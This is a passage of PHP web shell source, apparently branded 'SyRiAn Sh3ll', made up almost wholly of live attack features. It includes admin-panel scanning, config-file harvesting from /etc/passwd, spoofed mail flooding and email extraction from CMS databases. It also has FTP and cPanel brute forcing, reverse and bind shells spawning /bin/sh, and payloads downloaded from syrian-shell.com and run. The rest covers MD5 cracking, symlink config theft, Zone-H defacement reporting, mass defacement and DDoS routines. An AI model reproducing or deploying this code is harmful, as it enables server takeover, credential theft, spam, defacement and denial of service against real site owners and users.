&quot;administrator/index&quot;.$extention.&quot;&quot;,
&quot;administrator/login&quot;.$extention.&quot;&quot;,
&quot;user&quot;.$extention.&quot;&quot;,
&quot;administrator/account&quot;.$extention.&quot;&quot;,
&quot;administrator&quot;.$extention.&quot;&quot;,
&quot;login&quot;.$extention.&quot;&quot;,
&quot;modelsearch/login&quot;.$extention.&quot;&quot;,
&quot;moderator/login&quot;.$extention.&quot;&quot;,
&quot;panel-administracion/admin&quot;.$extention.&quot;&quot;,
&quot;admincontrol/login&quot;.$extention.&quot;&quot;,
&quot;adm/index&quot;.$extention.&quot;&quot;,
&quot;moderator/admin&quot;.$extention.&quot;&quot;,
&quot;account&quot;.$extention.&quot;&quot;,
&quot;controlpanel&quot;.$extention.&quot;&quot;,
&quot;admincontrol&quot;.$extention.&quot;&quot;,
&quot;webadmin/admin&quot;.$extention.&quot;&quot;,
&quot;adminLogin&quot;.$extention.&quot;&quot;,
&quot;panel-administracion/login&quot;.$extention.&quot;&quot;,
&quot;wp-login&quot;.$extention.&quot;&quot;,
&quot;adminLogin&quot;.$extention.&quot;&quot;,
&quot;admin/adminLogin&quot;.$extention.&quot;&quot;,
&quot;adminarea/index&quot;.$extention.&quot;&quot;,
&quot;adminarea/admin&quot;.$extention.&quot;&quot;,
&quot;adminarea/login&quot;.$extention.&quot;&quot;,
&quot;panel-administracion/index&quot;.$extention.&quot;&quot;,
&quot;modelsearch/index&quot;.$extention.&quot;&quot;,
&quot;modelsearch/admin&quot;.$extention.&quot;&quot;,
&quot;adm/admloginuser&quot;.$extention.&quot;&quot;,
&quot;admloginuser&quot;.$extention.&quot;&quot;,
&quot;admin2&quot;.$extention.&quot;&quot;,
&quot;admin2/login&quot;.$extention.&quot;&quot;,
&quot;admin2/index&quot;.$extention.&quot;&quot;,
&quot;adm/index&quot;.$extention.&quot;&quot;,
&quot;adm&quot;.$extention.&quot;&quot;,
&quot;affiliate&quot;.$extention.&quot;&quot;,
&quot;adm_auth&quot;.$extention.&quot;&quot;,
&quot;memberadmin&quot;.$extention.&quot;&quot;,
&quot;administratorlogin&quot;.$extention.&quot;&quot;);
	foreach ($adminlocales as $admin)
	{
		$headers = get_headers(&quot;$url$admin&quot;);
		if (eregi('200', $headers[0])) {echo &quot;[+] $url$admin  ~ Found!\n&quot;;}
	}
}
# --------------------------
#   Config Finder PHP
#---------------------------
else if($_POST['doAction'] &amp;&amp; ($_POST['someAction'] == 'findCon'))
{
	set_time_limit(0); 
	$passwd=fopen('/etc/passwd','r'); 
	if (!$passwd)
	{ 
		echo &quot;[-] Error : coudn't read /etc/passwd&quot;; 
		exit; 
	} 
	$path_to_public=array(); 
	$users=array(); 
	$pathtoconf=array(); 
	$i=0; 
	while(!feof($passwd)) 
	{ 
		$str=fgets($passwd); 
		if ($i&gt;35) 
		{ 
		   $pos=strpos($str,&quot;:&quot;); 
		   $username=substr($str,0,$pos); 
		   $dirz=&quot;/home/$username/public_html/&quot;; 
		   if (($username!=&quot;&quot;)) 
		   { 
			   if (is_readable($dirz)) 
			   { 
				   array_push($users,$username); 
				   array_push($path_to_public,$dirz); 
			   } 
		   } 
		} 
		$i++; 
	} 
	echo &quot;&quot;; 
	echo &quot;[+] Founded &quot;.sizeof($users).&quot; entrys in /etc/passwd
&quot;; 
	echo &quot;[+] Founded &quot;.sizeof($path_to_public).&quot; readable public_html directories
&quot;; 
	echo &quot;[~] Searching for passwords in config.* files...
&quot;; 
	foreach ($users as $user) 
	{ 
		   $path=&quot;/home/$user/public_html/&quot;; 
		   read_dir($path,$user); 
	} 
	echo &quot;[+] Done&quot;; 
}
# --------------------------
#   Config Finder Perl
#---------------------------
else if($_POST['doAction'] &amp;&amp; ($_POST['someAction'] == 'findConPerl'))
{
	$file = file_get_contents('http://SyRiAn Cyb3r Army/sh/sh.txt');
	mkdir('AllConfigFiles',0755);
	chdir('AllConfigFiles');
	GenerateFile('sh.pl',$file);
	ChangeMode('sh.pl',0755);
	echo &quot;Now Go to : AllConfigFiles/sh.pl&quot;;
}
# --------------------------
#   Mail Storm
#---------------------------
else if($_POST['sendMailStorm'])
{
	$to=$_POST['to'];
	$nom=$_POST['nom'];
	$Comments=$_POST['Comments'];
	if ($to &lt;&gt; &quot;&quot; )
	{
		for ($i = 0; $i &lt; $nom ; $i++)
		{
			$from = rand (71,1020000000).&quot;&quot;.&quot;Attacker.com&quot;;
			$subject= md5(&quot;$from&quot;);
			if(mail($to,$subject,$Comments,&quot;From:$from&quot;))
			echo &quot;[+] $i spammed !!
&quot;;
			else 
			{echo &quot;[-] $i Failed !! 
&quot;;}
		}
	}
}
# --------------------------
#  Help
#---------------------------
else if($_POST['emailExtractorHelp'])
{
	echo &quot;This is Some Tables Name &amp; Columns Name For Some Fam Scripts ..

[+] VBulletin
Table-name : user
column-name : email

[+] WordPress 
Table-name : wp_users
column-name : user_email 

[+] Joomla 
Table-name : jos_users
column-name : email

[+] PHPBB 
Table-name : phpbb_users
column-name : user_email

[+] I.P.Board 
Table-name : ibf_members
column-name : email

[+] SMF 
Table-name : smf_members
column-name : emailAddress &quot;;
}
# --------------------------
#   MySQL Query
#---------------------------
else if($_POST['MySQLQuery'] &amp;&amp; ($_POST['SQLType'] == 'SQLQuery'))
{
	$query = stripslashes($_POST['QU']);
	DBConnect($_POST['QU_HOST'],$_POST['QU_USER'],$_POST['QU_PASS'],$_POST['QU_DB']);
	$qwresult = mysql_query($query);
	$fields = _mysql_all_fields($qwresult);
	while ($rows = mysql_fetch_row($qwresult))
    {
      for ($i = 0; $i &lt; sizeof($rows); $i++)
      {
        if (is_null($rows[$i])) {$rows[$i] = &quot;[NULL]&quot;;}
        elseif (ereg(&quot;^[[:space:]]*$&quot;,$rows[$i])) {$rows[$i] = &quot;[NULL]&quot;;}
        else {$rows[$i] = htmlspecialchars($rows[$i]);}
		echo $rows[$i].&quot;
&quot;;
      }
	  echo &quot; 
&quot;;
    }
}
# --------------------------
#   SQL Reader
#---------------------------
else if($_POST['MySQLQuery'] &amp;&amp; ($_POST['SQLType'] == 'SQLReader'))
{
	DBConnect($_POST['QU_HOST'],$_POST['QU_USER'],$_POST['QU_PASS'],$_POST['QU_DB']);
	$unique = uniqid('N');
	$file = str_replace('\\\\','\\',$_POST['file']);
	$query = array(
	&quot;CREATE TEMPORARY TABLE $unique (file LONGBLOB)&quot;,
	&quot;LOAD DATA INFILE '&quot;.mysql_real_escape_string($file).&quot;' INTO TABLE $unique&quot;,
	&quot;SELECT * FROM $unique&quot;
	);
	foreach($query as $Allqueries)
	{
		$mysqlQuery = mysql_query($Allqueries,$connect);
		while($line = mysql_fetch_row($mysqlQuery))
		echo htmlspecialchars($line[0]);
		echo &quot;
&quot;;
	}
}
# --------------------------
#   Extract Emails				
#---------------------------
else if($_POST['MySQLQuery'] &amp;&amp; ($_POST['SQLType'] == 'EmailExtractor'))
{
	DBConnect($_POST['QU_HOST'],$_POST['QU_USER'],$_POST['QU_PASS'],$_POST['QU_DB']);
	$emtab = $_POST['EM_TABLE'];
	$emcol = $_POST['EM_COLUMN'];
	$sql = mysql_query(&quot;SELECT * FROM $emtab&quot;);
	while($res = mysql_fetch_array($sql))
	{echo ''.$res[&quot;$emcol&quot;].'
';}
}
# --------------------------
#   Files &amp; Folders Handling 
#---------------------------
else if($_POST['editFileSubmit'])
{
	$fileName = $_POST['editFile'];
	$newFileName = $_POST['newName'];
	chdir($_POST['currentPath']);
	if(!file_exists($fileName)){echo &quot;[-] Shit ! Where is the File ? \n[+] Now you can write the new file content &quot;;}
	else{
	if($_POST['actionType'] == 'edit'){echo htmlspecialchars(file_get_contents($fileName));}
	else if($_POST['actionType'] == 'rename'){RenameFile($fileName,$newFileName);}
	else if($_POST['actionType'] == 'copy'){CopyFile($fileName,$newFileName);}
	else if($_POST['actionType'] == 'deleteFile'){DeleteFile($fileName);}
	else if($_POST['actionType'] == 'deleteFolder'){DeleteFolder($fileName);}
	else if($_POST['actionType'] == 'createFile'){GenerateFile($fileName,$newFileName);}
	else if($_POST['actionType'] == 'createFolder'){mkdir($fileName);}
	else if($_POST['actionType'] == 'zip'){ZipFile($fileName,getcwd()); }
	else if($_POST['actionType'] == 'unzip'){UnZip($fileName,getcwd());}
	else if($_POST['actionType'] == 'tar'){ Exe('tar -zcf '.$fileName.&quot; &quot;.$fileName);}
	else if($_POST['actionType'] == 'untar'){ Exe ('tar -zxf '.$fileName);}
	else if($_POST['actionType'] == 'gz'){Exe('tar -czvf '.$fileName.&quot; &quot;.$fileName);}
	else if($_POST['actionType'] == 'ungz'){Exe('gzip -d '.$fileName);}
	}
}
# --------------------------
#   Editing Files 
#---------------------------
else if($_POST['saveEditedFile'])
{
	chdir(stripslashes($_POST['currentPath']));
	$trytoGenerate = GenerateFile($_POST['file2edit'],$_POST['ExecutionArea']);
	if($trytoGenerate){echo &quot;[+] File Saved !&quot;;}
	else {echo &quot;[-] Failed To Save File !!&quot;;}
}
# --------------------------
#   Zone H Attacker
#---------------------------
else if($_POST['SendNowToZoneH'])
{
	ob_start();
	$sub = get_loaded_extensions();
	if(!in_array(&quot;curl&quot;, $sub)){die('[-] Curl Is Not Supported !! ');}
	$hacker = $_POST['defacer'];
	$method = $_POST['hackmode'];
	$neden = $_POST['reason'];
	$site = $_POST['domain'];
	
	if (empty($hacker)){die (&quot;[-] You Must Fill the Attacker name !&quot;);}
	elseif($method == &quot;--------SELECT--------&quot;) {die(&quot;[-] You Must Select The Method !&quot;);}
	elseif($neden == &quot;--------SELECT--------&quot;) {die(&quot;[-] You Must Select The Reason&quot;);}
	elseif(empty($site)) {die(&quot;[-] You Must Inter the Sites List ! &quot;);}
	$i = 0;
	$sites = explode(&quot;\n&quot;, $site);
	while($i &lt; count($sites)) 
	{
		if(substr($sites[$i], 0, 4) != &quot;http&quot;) {$sites[$i] = &quot;http://&quot;.$sites[$i];}
		ZoneH(&quot;http://zone-h.org/notify/single&quot;, $hacker, $method, $neden, $sites[$i]);
		echo &quot;Site : &quot;.$sites[$i].&quot; Defaced !\n&quot;;
		++$i;
	}
	echo &quot;[+] Sending Sites To Zone-H Has Been Completed Successfully !! &quot;;
}
# --------------------------
#   FTP And Cpanle Brute Force Attacker
#---------------------------
else if($_POST['BruteForceCpanelAndFTP'])
{
	$connect_timeout=5;
	set_time_limit(0);
	$submit = $_REQUEST['BruteForceCpanelAndFTP'];
	$users = $_REQUEST['users'];
	$pass = $_REQUEST['passwords'];
	$target = $_REQUEST['target'];
	$cracktype = $_REQUEST['cracktype'];
	
	if(empty($target)){$target = &quot;127.0.0.1&quot;;}
	if(isset($submit) &amp;&amp; !empty($submit))
	{
		if(empty($users) &amp;&amp; empty($pass)){ print &quot;[-] Please Check The Users or Password List Entry . . .&quot;;}
		if(empty($users)){ print &quot;[-] Please Check The Users List Entry . . .&quot;; }
		if(empty($pass)){ print &quot;[-] Please Check The Password List Entry . . &quot;;}
		$userlist=explode(&quot;\n&quot;,$users);
		$passlist=explode(&quot;\n&quot;,$pass);
		print &quot;[~]# Cracking Process Started, Please Wait ...&quot;;
		foreach ($userlist as $user) 
		{
			$pureuser = trim($user);
			foreach ($passlist as $password ) 
			{
				$purepass = trim($password);
				if($cracktype == &quot;ftp&quot;)
				{
					ftp_check($target,$pureuser,$purepass,$connect_timeout);
				}
				if ($cracktype == &quot;cpanel&quot;)
				{
					cpanel_check($target,$pureuser,$purepass,$connect_timeout);
				}
			}
		}
	}
}
# --------------------------
#   Back Connection
#---------------------------
else if($_POST['backconn'])
{
	set_time_limit (0);
	$ip = trim($_POST['ip']); 
	$port = trim($_POST['backport']);
	$back_pass = trim($_POST['back_pass']);
	getFiles('http://SyRiAn Cyb3r Army/cgi/compiler.zip');
	UnZip('compiler.zip',getcwd());
	DeleteFile('compiler.zip');
	ChangeMode(&quot;compiler&quot;,0777);
	echo &quot;[~] use this Command in NetCat : nc -vlp [Your PORT]&quot;;  
	if($_POST['use'] == 'php1')
	{
		$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
		if($sock &lt; 0){die(&quot;[-] failed to create socket.&quot;);}
		$result = socket_connect($sock, $ip, $port);
		if($result &lt; 0){die(&quot;[-] failed to connect back to host:&quot;.$_GET['host']);}
		$send_var = &quot;\n\n -== SyRiAn Sh3ll , Back Connection ==-\n$&quot;;
		socket_write($sock, $send_var, strlen($send_var));
		while($input = socket_read($sock, 10000))
		{
			$result = `$input`;
			$result .= &quot;\n$ &quot;;
			socket_write($sock, $result, strlen($result));
		}
	}
	else if ($_POST['use'] == 'php2')
	{
		$chunk_size = 1400;
		$write_a = null;
		$error_a = null;
		$shell = 'uname -a; w; id; /bin/sh -i';
		$daemon = 0;
		$debug = 1;
	
		if (function_exists('pcntl_fork')) {
		   $pid = pcntl_fork();
		   
		   if ($pid == -1) {
			  printit(&quot;[-] ERROR: Can't fork&quot;);
			  exit(1);
		   }
		   
		   if ($pid) {
			  exit(0);  
		   }
	
		   if (posix_setsid() == -1) {
			  printit(&quot;[-] Error: Can't setsid()&quot;);
			  exit(1);
		   }
	
		   $daemon = 1;
		} else {
		   printit(&quot;[-] WARNING: Failed to daemonise.  This is quite common and not fatal.&quot;);
		}
		chdir(&quot;/&quot;);
		umask(0);
	
		$sock = fsockopen($ip, $port, $errno, $errstr, 30);
		if (!$sock) {
		   printit(&quot;$errstr ($errno)&quot;);
		   exit(1);
		}
	
		$descriptorspec = array(
		   0 =&gt; array(&quot;pipe&quot;, &quot;r&quot;),
		   1 =&gt; array(&quot;pipe&quot;, &quot;w&quot;), 
		   2 =&gt; array(&quot;pipe&quot;, &quot;w&quot;)  
		);
	
		$process = proc_open($shell, $descriptorspec, $pipes);
	
		if (!is_resource($process)) {
		   printit(&quot;[-] ERROR: Can't spawn shell&quot;);
		   exit(1);
		}
		stream_set_blocking($pipes[0], 0);
		stream_set_blocking($pipes[1], 0);
		stream_set_blocking($pipes[2], 0);
		stream_set_blocking($sock, 0);
	
		printit(&quot;[+] Successfully opened reverse shell to $ip:$port&quot;);
	
		while (1) {
		   if (feof($sock)) {
			  printit(&quot;[-] ERROR: Shell connection terminated&quot;);
			  break;
		   }
		   if (feof($pipes[1])) {
			  printit(&quot;[-] ERROR: Shell process terminated&quot;);
			  break;
		   }
		   $read_a = array($sock, $pipes[1], $pipes[2]);
		   $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
	
		   if (in_array($sock, $read_a)) {
			  if ($debug) printit(&quot;SOCK READ&quot;);
			  $input = fread($sock, $chunk_size);
			  if ($debug) printit(&quot;SOCK: $input&quot;);
			  fwrite($pipes[0], $input);
		   }
	
		   if (in_array($pipes[1], $read_a)) {
			  if ($debug) printit(&quot;STDOUT READ&quot;);
			  $input = fread($pipes[1], $chunk_size);
			  if ($debug) printit(&quot;STDOUT: $input&quot;);
			  fwrite($sock, $input);
		   }
	
		   if (in_array($pipes[2], $read_a)) {
			  if ($debug) printit(&quot;STDERR READ&quot;);
			  $input = fread($pipes[2], $chunk_size);
			  if ($debug) printit(&quot;STDERR: $input&quot;);
			  fwrite($sock, $input);
		   }
		}
	
		fclose($sock);
		fclose($pipes[0]);
		fclose($pipes[1]);
		fclose($pipes[2]);
		proc_close($process);
	}
	else if ($_POST['use'] == &quot;php3-win&quot;)
	{
		$env=array('path' =&gt; 'c:\\windows\\system32');
		$descriptorspec = array(
		0 =&gt; array(&quot;pipe&quot;,&quot;r&quot;),
		1 =&gt; array(&quot;pipe&quot;,&quot;w&quot;),
		2 =&gt; array(&quot;file&quot;,&quot;log.txt&quot;,&quot;a&quot;));
	}
	else if ($_POST['use'] == &quot;php3-linux&quot;)
	{
		$env = array('PATH' =&gt; '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
		$descriptorspec = array(
		0 =&gt; array(&quot;pipe&quot;,&quot;r&quot;),
		1 =&gt; array(&quot;pipe&quot;,&quot;w&quot;),
		2 =&gt; array(&quot;file&quot;,&quot;/tmp/log.txt&quot;,&quot;a&quot;));
	}
	if (($_POST['use'] == &quot;php3-linux&quot;) || ($_POST['use'] == &quot;php3-win&quot;))
	{
		$proto=getprotobyname(&quot;tcp&quot;);
		if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))&lt;0)
		{ die(&quot;[-] Socket Create Faile&quot;);}
		if(($ret=socket_connect($sock,$ip,$port))&lt;0)
		{ die(&quot;[-] Connect Faile&quot;);}
		else{
		$message=&quot;----------------------PHP Connect-Back--------------------\n&quot;;
		$message.=&quot;----------------------- SyRiAn Sh3ll --------------------\n&quot;;
		socket_write($sock,$message,strlen($message));
		$cwd=str_replace('\\','/',dirname(__FILE__));
		while($cmd=socket_read($sock,65535,$proto))
		   {
		   if(trim(strtolower($cmd))==&quot;exit&quot;){socket_write($sock,&quot;Bye Bye\n&quot;);exit;}
		   else{  
			$process = proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
			if (is_resource($process)) {
			fwrite($pipes[0], $cmd);
			fclose($pipes[0]);
			$msg=stream_get_contents($pipes[1]);
			socket_write($sock,$msg,strlen($msg));
			fclose($pipes[1]);
			$return_value = proc_close($process);}
		   }
			}
		}
	}
	else if ($_POST['use'] == 'perl1')
	{
		getFiles('http://syrian-shell.com/back/perl1.zip');
		UnZip('perl1.zip',getcwd());
		DeleteFile('perl1.zip');
		ChangeMode('perl1.sy3',0755);
		Exe('perl perl1.sy3 '.$ip.&quot; &quot;.$port);
	}
	else if ($_POST['use'] == 'perl2')
	{
		getFiles('http://syrian-shell.com/back/perl2.zip');
		UnZip('perl2.zip',getcwd());
		DeleteFile('perl2.zip');
		ChangeMode('perl2.sy3',0755);
		Exe('perl perl2.sy3 '.$ip.&quot; &quot;.$port.&quot; &quot;.$back_pass);
	}
	else if ($_POST['use'] == 'perl3-linux')
	{
		getFiles('http://syrian-shell.com/back/back3-linux.zip');
		UnZip('back3-linux.zip',getcwd());
		DeleteFile('back3-linux.zip');
		ChangeMode('back3-linux.sy3',0755);
		Exe('perl back3-linux.sy3 '.$ip.&quot; &quot;.$port);
	}
	else if ($_POST['use'] == 'perl4-win')
	{
		getFiles('http://syrian-shell.com/back/back4-win.zip');
		UnZip('back4-win.zip',getcwd());
		DeleteFile('back4-win.zip');
		ChangeMode('back4-win.sy3',0755);
		Exe('perl back4-win.sy3 '.$ip.&quot; &quot;.$port);
	}
	else if ($_POST['use'] == 'php4')
	{DB_Shell('cb', &quot;&quot;, $port, $ip);}
	else if ($_POST['use'] == 'c1')
	{connect_back_C('/tmp', 'gcc', $ip , $port); }
}
# --------------------------
#   Bind Connection
#---------------------------
else if($_POST['bind'])
{
	set_time_limit (0);
	$bindPass = trim($_POST['bind_pass']); 
	$port = trim($_POST['port']);
	getFiles('http://SyRiAn Cyb3r Army/cgi/compiler.zip');
	UnZip('compiler.zip',getcwd());
	DeleteFile('compiler.zip');
	ChangeMode(&quot;compiler&quot;,0777);
	echo &quot;[~] use this Command in NetCat : nc –v –n [Server ip] [port]&quot;;  
	if($_POST['use'] == 'php1')
	{
		$mysock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
		socket_bind($mysock,'127.0.0.1', $port) or die('[-] Could not bind to address'); 
		socket_listen($mysock, 5);
		$client = socket_accept($mysock);
		$input = socket_read($client, 1024);
		echo $input;
		socket_close($client);
		socket_close($mysock);
	}
	else if ($_POST['use'] == 'perl1-linux')
	{
		getFiles('http://syrian-shell.com/bind/perl1-linux.zip');
		UnZip('perl1-linux.zip',getcwd());
		DeleteFile('perl1-linux.zip');
		ChangeMode('perl1-linux.sy3',0755);
		Exe('perl perl1-linux.sy3 '.$port.&quot; &quot;.$bindPass);
	}
	else if ($_POST['use'] == 'perl2-linux')
	{
		getFiles('http://syrian-shell.com/bind/perl2-linux.zip');
		UnZip('perl2-linux.zip',getcwd());
		DeleteFile('perl2-linux.zip');
		ChangeMode('perl2-linux.sy3',0755);
		Exe('perl perl2-linux.sy3 '.$port);
	}
	else if ($_POST['use'] == 'bind3-win')
	{
		getFiles('http://syrian-shell.com/bind/bind3-win.zip');
		UnZip('bind3-win.zip',getcwd());
		DeleteFile('bind3-win.zip');
		ChangeMode('bind3-win.sy3',0755);
		Exe('perl bind3-win.sy3 '.$port);
	}
	else if ($_POST['use'] == 'php2')
	{DB_Shell('pb',&quot;&quot;, $port, $ip) ;}
	else if ($_POST['use'] == 'c1')
	{
		getFiles('http://syrian-shell.com/bind/bind4-linux-c.zip');
		UnZip('bind4-linux-c.zip',getcwd());
		DeleteFile('bind4-linux-c.zip');
		ChangeMode('bind4-linux-c.c',0777);
		Exe('gcc -o bind4-linux-c.c bind4-linux-c');
		Exe('./bind4-linux-c -s /bin/sh -c girl -r /home -w '.$bindPass.' -p '.$port.'');
	}
}
# --------------------------
#  MD5 Cracker
#---------------------------
elseif($_POST['CrackMd5'])
{
	set_time_limit(0);
	function crack_md5() 
	{
	set_time_limit(0);
	$chars=$_POST['chars'];
	$chars=str_replace(&quot;&lt;&quot;,chr(60),$chars);
	$chars=str_replace(&quot;&gt;&quot;,chr(62),$chars);
	$c=strlen($chars);
	for ($next = 0; $next &lt;= 31; $next++) {
	for ($i1 = 0; $i1 &lt;= $c; $i1++) {
	$word[1] = $chars{$i1};
	for ($i2 = 0; $i2 &lt;= $c; $i2++) {
	$word[2] = $chars{$i2};
	if ($next &lt;= 2) {
	result(implode($word));
	}else {
	for ($i3 = 0; $i3 &lt;= $c; $i3++) {
	$word[3] = $chars{$i3};
	if ($next &lt;= 3) {
	result(implode($word));
	}else {
	for ($i4 = 0; $i4 &lt;= $c; $i4++) {
	$word[4] = $chars{$i4};
	if ($next &lt;= 4) {
	result(implode($word));
	}else {
	for ($i5 = 0; $i5 &lt;= $c; $i5++) {
	$word[5] = $chars{$i5};
	if ($next &lt;= 5) {
	result(implode($word));
	}else {
	for ($i6 = 0; $i6 &lt;= $c; $i6++) {
	$word[6] = $chars{$i6};
	if ($next &lt;= 6) {
	result(implode($word));
	}else {
	for ($i7 = 0; $i7 &lt;= $c; $i7++) {
	$word[7] = $chars{$i7};
	if ($next &lt;= 7) {
	result(implode($word));
	}else {
	for ($i8 = 0; $i8 &lt;= $c; $i8++) {
	$word[8] = $chars{$i8};
	if ($next &lt;= 8) {
	result(implode($word));
	}else {
	for ($i9 = 0; $i9 &lt;= $c; $i9++) {
	$word[9] = $chars{$i9};
	if ($next &lt;= 9) {
	result(implode($word));
	}else {
	for ($i10 = 0; $i10 &lt;= $c; $i10++) {
	$word[10] = $chars{$i10};
	if ($next &lt;= 10) {
	result(implode($word));
	}else {
	for ($i11 = 0; $i11 &lt;= $c; $i11++) {
	$word[11] = $chars{$i11};
	if ($next &lt;= 11) {
	result(implode($word));
	}else {
	for ($i12 = 0; $i12 &lt;= $c; $i12++) {
	$word[12] = $chars{$i12};
	if ($next &lt;= 12) {
	result(implode($word));
	}else {
	for ($i13 = 0; $i13 &lt;= $c; $i13++) {
	$word[13] = $chars{$i13};
	if ($next &lt;= 13) {
	result(implode($word));
	}else {
	for ($i14 = 0; $i14 &lt;= $c; $i14++) {
	$word[14] = $chars{$i14};
	if ($next &lt;= 14) {
	result(implode($word));
	}else {
	for ($i15 = 0; $i15 &lt;= $c; $i15++) {
	$word[15] = $chars{$i15};
	if ($next &lt;= 15) {
	result(implode($word));
	}else {
	for ($i16 = 0; $i16 &lt;= $c; $i16++) {
	$word[16] = $chars{$i16};
	if ($next &lt;= 16) {
	result(implode($word));
	}else {
	for ($i17 = 0; $i17 &lt;= $c; $i17++) {
	$word[17] = $chars{$i17};
	if ($next &lt;= 17) {
	result(implode($word));
	}else {
	for ($i18 = 0; $i18 &lt;= $c; $i18++) {
	$word[18] = $chars{$i18};
	if ($next &lt;= 18) {
	result(implode($word));
	}else {
	for ($i19 = 0; $i19 &lt;= $c; $i19++) {
	$word[19] = $chars{$i19};
	if ($next &lt;= 19) {
	result(implode($word));
	}else {
	for ($i20 = 0; $i20 &lt;= $c; $i20++) {
	$word[20] = $chars{$i20};
	if ($next &lt;= 20) {
	result(implode($word));
	}else {
	for ($i21 = 0; $i21 &lt;= $c; $i21++) {
	$word[21] = $chars{$i21};
	if ($next &lt;= 21) {
	result(implode($word));
	}else {
	for ($i22 = 0; $i22 &lt;= $c; $i22++) {
	$word[22] = $chars{$i22};
	if ($next &lt;= 22) {
	result(implode($word));
	}else {
	for ($i23 = 0; $i23 &lt;= $c; $i23++) {
	$word[23] = $chars{$i23};
	if ($next &lt;= 23) {
	result(implode($word));
	}else {
	for ($i24 = 0; $i24 &lt;= $c; $i24++) {
	$word[24] = $chars{$i24};
	if ($next &lt;= 24) {
	result(implode($word));
	}else {
	for ($i25 = 0; $i25 &lt;= $c; $i25++) {
	$word[25] = $chars{$i25};
	if ($next &lt;= 25) {
	result(implode($word));
	}else {
	for ($i26 = 0; $i26 &lt;= $c; $i26++) {
	$word[26] = $chars{$i26};
	if ($next &lt;= 26) {
	result(implode($word));
	}else {
	for ($i27 = 0; $i27 &lt;= $c; $i27++) {
	$word[27] = $chars{$i27};
	if ($next &lt;= 27) {
	result(implode($word));
	}else {
	for ($i28 = 0; $i28 &lt;= $c; $i28++) {
	$word[28] = $chars{$i28};
	if ($next &lt;= 28) {
	result(implode($word));
	}else {
	for ($i29 = 0; $i29 &lt;= $c; $i29++) {
	$word[29] = $chars{$i29};
	if ($next &lt;= 29) {
	result(implode($word));
	}else {
	for ($i30 = 0; $i30 &lt;= $c; $i30++) {
	$word[30] = $chars{$i30};
	if ($next &lt;= 30) {
	result(implode($word));
	}else {
	for ($i31 = 0; $i31 &lt;= $c; $i31++) {
	$word[31] = $chars{$i31};
	if ($next &lt;= 31) {
	result(implode($word));
	
	}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
	
	function result($word) 
	{
		global $dat, $date;
		$hash = $_POST['pass'];
		$dat2 = date(&quot;H:i:s&quot;);
		$date2 = date(&quot;d:m:Y&quot;);
		if(md5($word)==$hash)
		{ 
			echo &quot;[+] Cracked !! 
Password is: $word&quot;;
			exit;
		}
	}
	if(!$_POST['pass']){echo &quot;You Forgot Something Important !! .. Like Hash : ) .&quot;;}
	else
	{
		$pass=htmlspecialchars($pass);
		$pass=stripslashes($pass);
		$dat=date(&quot;H:i:s&quot;);
		$date=date(&quot;d:m:Y&quot;);
		crack_md5();
	}
}
# --------------------------
#  Automatic Hacking
#---------------------------
elseif($_POST['AutoHackNow'])
{
	chdir($_POST['autoHackDir']);
	if(file_exists('AutoHackConfig.txt'))
	{
		DeleteFile('AutoHackConfig.txt');
	}
	$domainToHack = $_POST['domainToHack'];
	$domainToHack = str_replace(&quot;http://&quot;,&quot;&quot;,$domainToHack);
	$domainToHack = str_replace(&quot;www&quot;,&quot;&quot;,$domainToHack);
	$ScriptType  = $_POST['ScriptType'];
	$index = $_POST['index'];
	$scriptPath = $_POST['scriptPath'];
	$domainUser = getTheUser($domainToHack);
	$configPath = getConfigPath($ScriptType);

	if(function_exists('symlink'))
	{symlink(&quot;/home/$domainUser/public_html$scriptPath$configPath&quot;,'AutoHackConfig.txt');}
	else{Exe(&quot;ln -s /home/$domainUser/public_html$scriptPath$configPath AutoHackConfig.txt&quot;);	}
	$file = file_get_contents('AutoHackConfig.txt' ,null , null , true);
	GenerateFile('FileToInclude.txt',$file);
	ChangeMode('FileToInclude.txt',0644);
	include_once('FileToInclude.txt');
	AutoUpdateIndex();
}
# --------------------------
#  DDos Attacker ...        
#---------------------------
elseif($_POST['StartAttack'])
{
	$url = $_POST['ipToAttack'];
	set_time_limit(0);
	echo &quot;[+] starting on $url\n&quot;;
	if($_POST['DDOSType'] == 'tcp'){$DDOSTCP = DDOSTcp($url); if($DDOSTCP){echo &quot;[+] DDOS Attack Has Don3 .&quot;;}else{echo &quot;[-] Something Wrong ! , i Can't DDOS The Server ! .&quot;;}}
	else if($_POST['DDOSType'] == 'udp'){DDOSUdp($url);}
}
# --------------------------
#  Changing Directory        
#---------------------------
if($_POST['changeDirectory'])
{
	$directory = $_POST['directory'];
	$directory = str_replace(&quot;\\\\&quot;,&quot; &quot;,$directory);
	$directory = str_replace(&quot; &quot;,&quot;\\&quot;,$directory);
	chdir($directory);
}	
# --------------------------
#  Mass Defacement        
#---------------------------
elseif ($_POST['massDefaceNow'])
{
	$massTry = massDefacement($_POST['massDir'],$_POST['massFileName'],$_POST['massIndex']);
	if($massTry == 'notfound'){echo 'Directory Not Found !!';}
	else if ($massTry == 'notperm'){echo 'Permission Denied !!';}
}
# --------------------------
#  Dos Server        
#---------------------------
else if($_POST['doAction'] &amp;&amp; ($_POST['someAction'] == 'DOSServer1'))
{cx();}
else if($_POST['doAction'] &amp;&amp; ($_POST['someAction'] == 'DOSServer2'))
{dosserver();}
# --------------------------
#  Get File       
#---------------------------
if($_POST['getFile'])
{
	$fileUrl = $_POST['fileUrl'];
	$getType = $_POST['getType'];
	if($getType == 'auto'){getFiles($fileUrl);}
	else{Exe(&quot;'&quot;.$getType.&quot; &quot;.$fileUrl.&quot;'&quot;);}
}
// HTML Code . 
echo &quot;&lt;/textarea&gt;&quot;;
if($_POST['editFileSubmit'] &amp;&amp; ($_POST['actionType'] == 'edit'))
{
echo &quot;
&lt;input type='hidden' name='currentPath' value=&quot;.getcwd().&quot; /&gt;
&lt;input type='hidden' value='&quot;.$_POST['editFile'].&quot;' name='file2edit' /&gt; 
&lt;input type='submit' value='Save' name='saveEditedFile' size='50'&gt;
&quot;;
}
echo &quot;&lt;/form&gt;
&lt;!-- Main Table --&gt;
&lt;table width='100%'&gt;&lt;tr&gt;
&lt;td width='30%' height='30'&gt;
&lt;!-- End Of Main Table --&gt;
&lt;!-- Commands Alias--&gt;
